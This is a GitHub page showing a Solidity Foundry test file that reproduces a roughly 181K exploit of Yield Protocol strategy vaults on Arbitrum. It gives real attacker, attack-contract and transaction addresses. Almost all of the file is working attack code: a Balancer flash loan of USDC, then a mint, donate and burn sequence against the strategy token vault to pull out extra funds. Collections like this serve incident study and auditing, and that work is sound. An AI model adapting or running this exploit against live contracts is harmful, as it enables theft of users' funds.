-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Yield_exp.sol
93 lines (75 loc) · 3.57 KB
/
Yield_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
import "src/test/interface.sol";
// @KeyInfo - Total Lost : 181K
// Attacker : https://arbiscan.io/address/0x1abe06f451e2d569b3e9123baf33b51f68878656
// Attack Contract : https://arbiscan.io/address/0xd775fd7b76424a553e4adce6c2f99be419ce8d41
// Vulnerable Contract : https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47
// Attack Tx : https://arbiscan.io/tx/0x6caa65b3fc5c8d4c7104574c3a15cd6208f742f9ada7d81ba027b20473137705
// @Info
// Vulnerable Contract Code : https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47#code
// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God : https://medium.com/immunefi/yield-protocol-logic-error-bugfix-review-7b86741e6f50
interface IYieldStrategy is IERC20 {
function mint(
address to
) external returns (uint256);
function burn(
address to
) external returns (uint256);
function mintDivested(
address to
) external returns (uint256);
function burnDivested(
address to
) external returns (uint256);
}
contract Yield is Test {
uint256 blocknumToForkFrom = 206_219_811;
IYieldStrategy YieldStrategy_1 = IYieldStrategy(0x7012aF43F8a3c1141Ee4e955CC568Ad2af59C3fa); // pool token
IYieldStrategy YieldStrategy_2 = IYieldStrategy(0x3b4FFD93CE5fCf97e61AA8275Ec241C76cC01a47); // strategy token valut
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
function setUp() public {
vm.createSelectFork("arbitrum", blocknumToForkFrom);
vm.label(address(YieldStrategy_1), "YieldStrategy_1");
vm.label(address(YieldStrategy_2), "YieldStrategy_2");
vm.label(address(Balancer), "Balancer");
vm.label(address(USDC), "USDC");
}
function testExploit() public {
// Implement exploit code here
address[] memory tokens = new address[](1);
tokens[0] = address(USDC);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 400_000 * 1e6;
bytes memory userData = "";
Balancer.flashLoan(address(this), tokens, amounts, userData);
// Log balances after exploit
emit log_named_decimal_uint(
" Attacker USDC Balance After exploit", USDC.balanceOf(address(this)), USDC.decimals()
);
}
function receiveFlashLoan(
address[] calldata tokens,
uint256[] calldata amounts,
uint256[] calldata fees,
bytes calldata userData
) external {
USDC.transfer(address(YieldStrategy_1), 308_000 * 1e6);
YieldStrategy_1.mintDivested(address(this)); // mint pool token with USDC
uint256 transferAmount = YieldStrategy_1.balanceOf(address(this)) / 2;
YieldStrategy_1.transfer(address(YieldStrategy_2), transferAmount);
YieldStrategy_2.mint(address(YieldStrategy_2)); // mint strategy token
YieldStrategy_1.transfer(address(YieldStrategy_2), YieldStrategy_1.balanceOf(address(this))); // donate pool token to strategy token vault
YieldStrategy_2.burn(address(this)); // burn strategy token to get pool token
YieldStrategy_2.mint(address(YieldStrategy_2)); // recover donated pool token
YieldStrategy_2.burn(address(this));
YieldStrategy_1.transfer(address(YieldStrategy_1), YieldStrategy_1.balanceOf(address(this)));
YieldStrategy_1.burnDivested(address(this)); // burn pool token to USDC
USDC.transfer(address(Balancer), amounts[0]);
}
}